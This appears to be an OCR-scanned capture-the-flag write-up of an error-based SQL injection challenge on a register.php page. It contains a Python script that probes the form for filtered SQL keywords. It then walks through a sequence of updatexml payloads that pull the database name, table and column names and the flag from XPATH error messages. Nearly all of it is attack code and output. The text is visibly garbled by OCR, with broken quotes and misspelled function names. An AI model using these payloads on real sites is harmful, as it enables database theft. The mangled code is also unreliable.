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import requests

import time

sql _char = ['select',
‘union’,
‘and',
‘or',
'sleep’,
'where',
'from',
"limit"',
‘group”’,
‘by’,
'like’,
'prepare’,
‘as',
"if',
‘char',
‘ascii',
‘mid’,
‘left’,
'right’,
'substring’,
"handler’,
'updatexml’,
'‘extractvalue’,
‘benchmark’,
‘insert’,
'update’,
‘all’',
‘e,

url="http://9e3b9bbd-4087-4cbb-b901-257d3ae4fd47.node4.buuoj.cn:81/register.php’
for char in sql_char:

payload = 'zhaoxian' + char

data = {'username': payload, 'password’': 'zhaoxian', 'email': 'zhaoxian'}
response = requests.post(url=url, data=data)

time.sleep(1)

if 'invalid string' in response.text:

print(char+" is illgeal")
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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near “zhaoxian™"" and pwd="3f84f070dd997dc077ab039697ecaf36" at line 1
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#5045 P payload

zhaoxian"|lupdatexmi(1,concat(0x3a,(select(database())),0x3a),1)#
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AR : XPATH syntax error: “web_sqli”
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wangxiang"||(updatexml(1,concat(0x3a,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
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XPATH syntax error: “:article,flag,users’
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wangxiang"||(updatexml(1,concat(0x3a,

(select(group_concat(column_name))from(information_schema.columns)where(table _schema=database())&&
(table_name=‘flag’))),1))#

Jiflag:

wangxiang"||(updatexml(1,concat(0x3a,(select(flag)from(flag)),0x3a),1))#

XPATH syntax error: :RCTF{Good job! But flag not her’
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wangxiang"||(updatexml(1,concat(0x3a,
(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(‘flag’)),0x3a),1))#
XPATH syntax error: :FLAGS,FLAGS,FLAGS,flag,real_fla’
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wangxiang"||(updatexml(1,concat(0x3a,
(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(’*real_fla’)),0x3a),1))#
XPATH syntax error: “real_flag_1s_here’
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wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)),0x3a),1))#

[F I XPATH syntax error: ‘13, XxX, X3, XXX, XXX, XXX, XXX, XXX
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wangxiang"||(updatexml(1,concat(0x3a,
(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(*flag’)),0x3a),1)}#
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wangxiang"||
(updatexml(1,concat(0Ox3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('*flag’))),
0x3a),1))#

XPATH syntax error: *:}e70706187884-586b-1234-c715-0d’
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